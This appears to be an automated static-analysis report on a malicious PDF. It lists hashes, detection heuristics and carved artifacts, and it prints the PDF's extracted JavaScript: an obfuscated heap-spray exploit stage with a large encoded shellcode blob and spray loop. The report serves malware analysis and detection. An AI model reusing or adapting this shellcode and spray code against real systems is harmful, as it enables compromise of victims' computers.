Malicious PDF — malware analysis report

Static analysis result for SHA-256 d3703178477a6b27…

MALICIOUS

PDF

1.17 MB Created: 2009-12-17 03:14:38 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 7.0.5 (Windows)) First seen: 2026-05-10
MD5: 1d0a9da88fca10e353db351f34b2cd06 SHA-1: 781e2e5b529094dad5c1be2a9da5398d7376eb61 SHA-256: d3703178477a6b272bbdeff5c1a641ae91b20497b48e887d093a62b3a7c874ef
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file exhibits multiple indicators of malicious intent, including embedded JavaScript and an embedded file. The presence of PDF_JAVASCRIPT and PDF_JS heuristics strongly suggests that the document is designed to execute arbitrary JavaScript code. While no specific URLs were flagged as malicious, the embedded JavaScript is the primary mechanism for potential exploitation. The embedded file, a JavaScript object, further supports the conclusion that script execution is the intended attack vector.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9980

Heuristics 7

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
k1 pdf-embedded-file PDF EmbeddedFile object 26 at offset 0x1EC1 1206312 bytes
SHA-256: d5005e6ee2e649716afeda73fc5624d60ddac2ec2e3497a03f11116991a6a4e7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 8.00, consistent with packed or encrypted content.
javascript_obj0031_000.js pdf-javascript-stream PDF /JS object 31 at offset 0x12B202 7324 bytes
SHA-256: 5bf13f19b11935f8acb7c953dd3a57ced87acfd2e012dab2ef77cb7993d6dc6d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
9 of 15 identifiers look randomly generated (e.g. 'MNBVzxcASDFkjhOIUYhbbREDSDSQazxCVBNKooui') — consistent with name-mangling obfuscation. Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var UHNijmYGB=unescape;
var QazWSxeDCrFVtGBUjnIkmOIuplM = UHNijmYGB("%u\x39\x30\x39\x30%u\x39\x30\x39\x30%u\x39\x30\x39\x30%u\x65\x62\x39\x30%u5\x6518%u5\x6256%u068\x61%u303\x63%u1474%u6\x6266%u49\x630"+
"%u8\x6146%u\x33226%u88\x634%u430\x33%u\x65\x6246%u\x658\x65\x62%u\x66\x66\x653%u\x66\x66\x66\x66"+
"%u4445%u5843%u6544%u6444%u6444%u4d43%u5744%u4941%u5a4e%u5942%u5a4a%u5444"+
"%u5942%u5a4a%u6844%u5942%u6b43%u7844%u584d%u5942%u5a4a%u6c44%u4543%u4a41"+
"%u584d%u4b43%u4943%u6141%u6944%u6444%u6444%u6444%u5849%u6344%u5142%u4d41"+
"%u6c44%u5142%u4e41%u674b%u584b%u7841%u6e43%u6541%u4a41%u7a4a%u5942%u7743"+
"%u474b%u474b%u5942%u7a47%u5844%u5942%u4f43%u4c44%u6343%u6744%u7845%u5942"+
"%u5143%u7a52%u5942%u4143%u4444%u6744%u5441%u6a41%u5044%u5243%u5942%u5044"+
"%u5942%u6744%u5845%u5744%u7641%u5744%u4941%u7541%u5a46%u5642%u4941%u6f43"+
"%u6344%u4841%u4641%u6944%u6744%u7141%u6241%u5945%u584b%u6743%u474b%u4c44"+
"%u6e43%u6841%u5942%u4143%u474b%u6744%u5441%u5947%u5942%u6844%u5043%u5942"+
"%u4143%u7844%u6744%u5441%u5942%u674b%u5942%u6744%u4c41%u5849%u7a4e%u474b"+
"%u7844%u7a43%u4a41%u4e41%u7a47%u5a4e%u6444%u6444%u6444%u6444%u7143%u6444"+
"%u784d%u7a47%u4743%u4b43%u7343%u6444%u674b%u6444%u6444%u7641%u6e43%u5844"+
"%u7641%u6e43%u5343%u7641%u4e43%u7a52%u5744%u6445%u5947%u5942%u5643%u4743"+
"%u5942%u6643%u5844%u5942%u5a45%u6142%u4445%u4446%u4e41%u5a46%u5644%u4a41"+
"%u5644%u4b41%u7842%u7741%u4241%u7741%u4341%u6b41%u5945%u7143%u6444%u784d"+
"%u7a47%u7a4a%u4b43%u7641%u6e43%u4743%u5942%u4e43%u5844%u4943%u7641%u6e43"+
"%u5743%u7641%u4e43%u7844%u5942%u4e43%u7a4a%u4d44%u4e43%u4343%u5142%u6643"+
"%u4343%u6444%u6443%u4446%u7641%u6e43%u5743%u7641%u4e43%u6c44%u4a41%u7846"+
"%u5543%u6a44%u6541%u5142%u6b42%u6742%u6343%u7241%u4542%u7441%u6b44%u5744"+
"%u4341%u5842%u6447%u5443%u6744%u4e41%u6d42%u7742%u7344%u6444%u6743%u7244"+
"%u5a47%u7341%u7444%u416e%u6243%u6e44%u6141%u5a46%u6c44%u5341%u6d43%u584d"+
"%u4942%u6643%u5641%u4a42%u7741%u5842%u6a44%u6541%u4542%u6744%u6844%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6942"+
"%u6942%u6942%u6942%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6f43%u5a47%u7643%u6b43%u4a44"+
"%u5a47%u6343%u5a47%u6444%u6141%u6444%u6444%u6444%u6444%u4643%u5342%u6441"+
"%u6d43%u6444%u6444%u6444%u6141%u5a46%u7741%u7641%u7641%u5942%u5941%u5942"+
"%u5845%u5942%u7741%u5942%u4741%u5142%u4841%u5444%u6141%u5946%u7741%u7641"+
"%u7641%u5744%u6445%u5849%u5643%u5343%u5142%u7a47%u5343%u674b%u5744%u6445"+
"%u4a43%u7641%u6e43%u5343%u7641%u4e43%u474b%u5944%u5242%u6842%u7644%u6444"+
"%u6943%u6541%u5944%u5242%u6942%u7644%u6444%u6c43%u6c41%u7343%u7641%u6444"+
"%u6444%u6444%u7143%u5a4a%u7641%u4e43%u4844%u5849%u7a47%u5a52%u4b43%u7343"+
"%u7641%u6444%u6444%u6444%u7641%u4e43%u6844%u5942%u4141%u5942%u7a47%u5a52"+
"%u6744%u4841%u5142%u6141%u6144%u4f41%u6444%u6444%u7641%u6e43%u5a52%u7641"+
"%u4e43%u7444%u7143%u6444%u7143%u6444%u7343%u6444%u416e%u6444%u6444%u7641"+
"%u6e43%u5343%u7641%u4e43%u4444%u7143%u6444%u784d%u7a47%u4743%u4b43%u7143"+
"%u674b%u784d%u7a47%u4f43%u4b43%u7641%u6e43%u5343%u7641%u4e43%u7a52%u7143"+
"%u6444%u7143%u6444%u7343%u7444%u416e%u6444%u6444%u7641%u6e43%u5343%u7641"+
"%u4e43%u4444%u4e43%u7143%u6444%u7343%u5242%u6444%u6444%u6444%u7143%u6644"+
"%u7143%u6444%u7143%u6544%u7343%u6444%u6444%u6444%u5a4a%u784d%u7a47%u7343"+
"%u4b43%u5142%u7a47%u7044%u6144%u6241%u6e44%u5942%u5845%u5942%u7641%u4e43"+
"%u5942%u6541%u7641%u5947%u7044%u6141%u7841%u7641%u7641%u7641%u4643%u5142"+
"%u7141%u7641%u6e43%u6644%u6241%u5a4b%u5849%u7a47%u5743%u7343%u6444%u674b"+
"%u6444%u6444%u7143%u5a4a%u7641%u4e43%u4844%u5849%u7a47%u5844%u5942%u7a47"+
"%u4f43%u5849%u7a47%u4343%u6141%u5143%u7741%u7641%u7641%u4e43%u5744%u6445"+
"%u4a43%u784d%u7a47%u7343%u4b43%u5142%u7a47%u4c44%u6144%u6241%u6e44%u5942"+
"%u5845%u4242%u4242%u4e43%u5942%u6541%u7641%u5947%u4c44%u6141%u7841%u7641"+
"%u7641%u7641%u4643%u7143%u6444%u7143%u7641%u7641%u4e43%u674b%u4242%u4242"+
"%u4242%u4e43%u5942%u6541%u5142%u4d41%u5945%u7143%u5845%u6141%u7946%u6444"+
"%u6444%u6444%u5849%u7a47%u7541%u7641%u6e43%u6c44%u6141%u5743%u6444%u6444"+
"%u6444%u5849%u7a47%u5945%u7143%u6444%u784d%u7a47%u7141%u4b43%u7641%u6e43"+
"%u5945%u7641%u6e43%u6c44%u7641%u6e43%u7541%u6141%u6843%u6444%u6444%u6444"+
"%u5942%u7a47%u7141%u6445%u4b41%u674b%u6444%u4541%u4541%u4e43%u5942%u6541"+
"%u5142%u4d41%u7141%u7143%u5845%u6141%u4c43%u6444%u6444%u6444%u5849%u7a47"+
"%u7541%u5942%u5643%u6c44%u5942%u7a47%u6844%u4841%u6941%u7444%u5947%u5942"+
"%u4841%u4b43%u7641%u6e43%u7541%u6141%u5043%u6444%u6444%u6444%u6445%u4b41"+
"%u6c44%u6444%u4541%u4541%u4541%u4e43%u5942%u6541%u4843%u5942%u7a47%u6c44"+
"%u784d%u4b43%u6744%u5942%u7a52%u5142%u4941%u674b%u784d%u5942%u7641%u7741"+
"%u7741%u7741%u5a45%u5a41%u4744%u4241%u5342%u6841%u5242%u5242%u5242%u5242"+
"%u6f43%u4445%u5a45%u4841%u5242%u5242%u6444%u6444%u6e43%u6244%u4841%u4445"+
"%u7444%u5142%u4941%u6644%u5941%u6841%u784b%u4b41%u6447%u6445%u4b41%u674b"+
"%u6444%u7641%u4144%u674b%u4444%u5a4a%u6444%u7641%u4144%u6c44%u4444%u5a4a"+
"%u6444%u7641%u4144%u6444%u4444%u5a4a%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u3030");
var o ="";
for (asfdsfasdfafasdfasdfasdfefrergrg=128;asfdsfasdfafasdfasdfasdfefrergrg>=0;--asfdsfasdfafasdfasdfasdfefrergrg) o += UHNijmYGB("%u4943%u9f93");
JpeKAFDjrTfdKIERlblJLAmY = o + QazWSxeDCrFVtGBUjnIkmOIuplM;
fhwpbcVvadNUtmvSVbaNLbnkoRXYJU = UHNijmYGB("%u4943%u9f93");
NGwa = 20;
MNBVzxcASDFkjhOIUYhbbREDSDSQazxCVBNKoouiTFDFcfvVBhghdswwqaZXVBNMNKLPouytfvvEDXcvbbHYTrcvIOPPKLmXZSsfcWWSXXQAZryiJNV = NGwa+JpeKAFDjrTfdKIERlblJLAmY.length
while (fhwpbcVvadNUtmvSVbaNLbnkoRXYJU.length<MNBVzxcASDFkjhOIUYhbbREDSDSQazxCVBNKoouiTFDFcfvVBhghdswwqaZXVBNMNKLPouytfvvEDXcvbbHYTrcvIOPPKLmXZSsfcWWSXXQAZryiJNV) fhwpbcVvadNUtmvSVbaNLbnkoRXYJU+=fhwpbcVvadNUtmvSVbaNLbnkoRXYJU;
sznjhNiJLuILHtrvAhIXlelnNQIlfFcNrwhdLFMTFZirbIndsSXdpwisjqJYvwiakRqvVOIAdQiiKYl = fhwpbcVvadNUtmvSVbaNLbnkoRXYJU.substring(0, MNBVzxcASDFkjhOIUYhbbREDSDSQazxCVBNKoouiTFDFcfvVBhghdswwqaZXVBNMNKLPouytfvvEDXcvbbHYTrcvIOPPKLmXZSsfcWWSXXQAZryiJNV);
sBTKMHSBACOawVsopgevvAiFdFvNBzVHGHi = fhwpbcVvadNUtmvSVbaNLbnkoRXYJU.substring(0, fhwpbcVvadNUtmvSVbaNLbnkoRXYJU.length-MNBVzxcASDFkjhOIUYhbbREDSDSQazxCVBNKoouiTFDFcfvVBhghdswwqaZXVBNMNKLPouytfvvEDXcvbbHYTrcvIOPPKLmXZSsfcWWSXXQAZryiJNV);
while(sBTKMHSBACOawVsopgevvAiFdFvNBzVHGHi.length+MNBVzxcASDFkjhOIUYhbbREDSDSQazxCVBNKoouiTFDFcfvVBhghdswwqaZXVBNMNKLPouytfvvEDXcvbbHYTrcvIOPPKLmXZSsfcWWSXXQAZryiJNV < 0x40000) sBTKMHSBACOawVsopgevvAiFdFvNBzVHGHi = sBTKMHSBACOawVsopgevvAiFdFvNBzVHGHi+sBTKMHSBACOawVsopgevvAiFdFvNBzVHGHi+sznjhNiJLuILHtrvAhIXlelnNQIlfFcNrwhdLFMTFZirbIndsSXdpwisjqJYvwiakRqvVOIAdQiiKYl;
rtrhythyth6ythywgsdgsgsd= new Array();
for (yjuyiukiuktjuhdfhsdhjyu=0;yjuyiukiuktjuhdfhsdhjyu<300;yjuyiukiuktjuhdfhsdhjyu++) rtrhythyth6ythywgsdgsgsd[yjuyiukiuktjuhdfhsdhjyu] = sBTKMHSBACOawVsopgevvAiFdFvNBzVHGHi + JpeKAFDjrTfdKIERlblJLAmY;

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